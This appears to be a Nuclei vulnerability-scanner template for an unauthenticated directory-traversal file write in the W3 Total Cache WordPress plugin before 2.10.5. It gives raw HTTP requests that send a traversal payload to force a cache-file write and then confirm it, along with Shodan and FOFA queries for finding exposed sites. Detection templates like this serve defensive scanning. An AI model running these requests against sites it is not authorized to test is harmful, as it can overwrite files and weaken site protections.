id: CVE-2026-18051 info: name: W3 Total Cache < 2.10.5 - Unauthenticated Arbitrary Directory File Write author: HaroonArshad-53 severity: critical description: | W3 Total Cache WordPress plugin < 2.10.5 contains an unrestricted file write vulnerability caused by improper validation of request paths used for cache file names, letting unauthenticated attackers overwrite files including .htaccess, exploit requires no authentication. impact: | Unauthenticated attackers can overwrite arbitrary files, including .htaccess, potentially breaking the site and disabling security measures. remediation: | Upgrade to version 2.10.5 or later. reference: - https://www.cve.org/CVERecord?id=CVE-2026-18051 - https://wpscan.com/vulnerability/dc56cdd2-419b-4a64-9d2a-29dc7e79cb6d/ classification: cve-id: CVE-2026-18051 epss-score: 0.02007 epss-percentile: 0.80978 cwe-id: CWE-22 metadata: max-request: 5 vendor: boldgrid product: w3-total-cache shodan-query: http.html:"/wp-content/plugins/w3-total-cache/" fofa-query: body="/wp-content/plugins/w3-total-cache/" tags: cve,cve2026,wordpress,w3-total-cache,path-traversal,unauth,intrusive variables: marker: "{{rand_base(8, 'acfhjnprx')}}" flow: http(1) && http(2) && http(3) && http(4) http: - raw: - | GET /wp-content/plugins/w3-total-cache/readme.txt HTTP/1.1 Host: {{Hostname}} extractors: - type: regex name: version part: body internal: true group: 1 regex: - "Stable tag: ([0-9.]+)" matchers: - type: dsl dsl: - 'compare_versions(version, "< 2.10.5")' internal: true - raw: - | GET /search/{{marker}}/ HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl condition: and dsl: - "status_code == 200" - 'contains(to_lower(body), "w3 total cache")' internal: true - raw: - | GET /search/{{marker}}/%2e%2e%5c%2e%2e%5c HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - "status_code == 200" internal: true - raw: - | GET /wp-content/cache/page_enhanced/{{Hostname}}/_index_slash_ssl.html HTTP/1.1 Host: {{Hostname}} - | GET /wp-content/cache/page_enhanced/{{Hostname}}/_index_slash.html HTTP/1.1 Host: {{Hostname}} stop-at-first-match: true matchers: - type: dsl dsl: - "status_code == 200" - 'contains_any(body, marker, "search-no-results")' condition: and # digest: 4a0a004730450220016aef2daff42336389062577997e98e037a8526fb3d64159f76eb014a814df1022100f3b6da276c3d2004f86c6222d7fe209fa79bfe39149bdd90a8c2c985ae2eef23:922c64590222798bb761d5b6d8e72950